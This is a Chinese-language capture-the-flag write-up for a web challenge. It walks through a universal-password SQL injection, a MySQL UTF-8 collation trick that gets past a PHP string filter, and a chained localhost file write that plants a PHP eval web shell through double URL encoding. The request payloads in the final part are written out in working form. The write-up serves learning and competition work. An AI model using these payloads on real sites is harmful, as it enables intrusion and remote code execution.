Look

.viminfo

其实直接扫目录就能得到.viminfo,但是题目是这样出的:

访问index.php的头有X-HT: verify,HT当然就是hint啦,尝试在各种地方加入verify参数,最后通过GET提交verify=1有不同的回显。如果值超过四位提示太长,爆破1-4位无果,最终使用verify='=0%23 万能密码得到viminfo的提示

访问.viminfo得到提示5211ec9dde53ee65bb02225117fba1e1.php.backup~~~

mysql的UTF-8黑魔法

<?php
$con = mysql_connect('localhost','root','');
mysql_query("set names utf8");
mysql_select_db("ctf");
if($_SERVER["REMOTE_ADDR"]=='8.8.8.8'){
    $name = addslashes($_GET['usern3me']);
}
else{
    if(stripos($_GET['usern3me'],'Bctf2O16')!==false){
        $name = 'FUCK';
    }
    else{
        $name = addslashes($_GET['usern3me']);
    }
}
echo 'hello '.$name;
$sql = "select * from admin where name='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
    echo '<br>next ***.php';
}
?>

很显然题目的意思是数据库中有name=Bctf2O16的记录,所以在php中过没有这个字符串的判断,在mysql中判断有这个字符串,即需要输入非 Bctf2O(大写O)16但进入数据库查询又当作是Bctf2O16的一个字符串。但是,mysql设置为UTF-8加上php处理GET参数的addslashes的函数,无法进行宽字节注入。这里用到了一个mysql的特性:

MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。 可以看到大写O和Ö是相等的

于是提交?usern3me=Bctf2Ö16,用浏览器访问,burp提交不成功,可能是因为burp的字符集是GBK吧。得到下一个文件:c3368f5eb5f8367fd548b228bee69ef2.php

getshell


<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
    $path = $_GET['path'];
    $name = "upload/".$_GET['filename'];
}
else{
    show_source(__FILE__);
    exit();
}
if(strpos($name,'..') > -1){
    echo 'WTF';
    exit();
}

if(strpos($path,'http://127.0.0.1/') === 0){
    file_put_contents($name,file_get_contents($path));
}
else{
    echo 'path error';
}
?>
  • 这里在filename处过滤了..又在前拼接上了upload/字符串,无法跳出这个目录
  • path要求了必须以http://127.0.0.1/开头,想到了刚才那个hello usern3me的地方

于是构造:

/c3368f5eb5f8367fd548b228bee69ef2.php?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php @phpinfo();?>

访问/upload/1.php发现<?php被截断。其实这里空格应该被url编码,而且应该是两次,因为usern3me这个参数实际上是经过两次url访问才传给处理的页面,第一次是我们通过浏览器的访问,第二次是讲path作为参数通过file_get_contents()访问。

所以构造:

/c3368f5eb5f8367fd548b228bee69ef2.php?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520@phpinfo();?>

访问/upload/1.php发现打印phpinfo,构造木马,菜刀连接即可:

/c3368f5eb5f8367fd548b228bee69ef2.php?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[0]);?>